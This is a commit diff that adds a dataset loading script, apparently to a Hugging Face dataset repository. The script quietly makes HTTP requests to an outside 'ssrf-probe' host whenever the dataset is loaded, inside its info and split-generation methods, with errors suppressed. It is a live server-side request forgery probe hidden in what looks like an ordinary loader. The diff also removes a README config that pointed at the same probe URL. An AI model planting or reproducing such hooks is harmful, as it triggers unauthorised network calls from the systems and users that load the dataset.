Add loading script with SSRF

README.md

@@ -3,22 +3,17 @@ dataset_info:
   features:
     - name: text
       dtype: string
-    - name: label
-      dtype: string
   splits:
     - name: train
+      num_bytes: 100
       num_examples: 2
+  download_size: 100
+  dataset_size: 100
 configs:
   - config_name: default
     data_files:
       - split: train
         path: data/train.csv
-  - config_name: external
-    data_files:
-      - split: train
-        path: "https://firstaccount69-ssrf-probe.hf.space/log?ssrf=data_files_external_config"
 ---
 
-# SSRF Data Files Test Dataset v2
-
-Testing with real data files alongside external URL references.
+# Test Dataset

ssrf-datafiles-test.py

@@ -0,0 +1,25 @@
+
+import datasets
+import requests
+
+class SsrfDataset(datasets.GeneratorBasedBuilder):
+    def _info(self):
+        # Try to make an SSRF request during dataset info loading
+        try:
+            requests.get("https://firstaccount69-ssrf-probe.hf.space/log?ssrf=loading_script_info")
+        except:
+            pass
+        return datasets.DatasetInfo(
+            features=datasets.Features({"text": datasets.Value("string")}),
+        )
+    
+    def _split_generators(self, dl_manager):
+        # Try SSRF during split generation
+        try:
+            dl_manager.download("https://firstaccount69-ssrf-probe.hf.space/log?ssrf=dl_manager_download")
+        except:
+            pass
+        return [datasets.SplitGenerator(name=datasets.Split.TRAIN, gen_kwargs={"filepath": "data/train.csv"})]
+    
+    def _generate_examples(self, filepath):
+        yield 0, {"text": "hello"}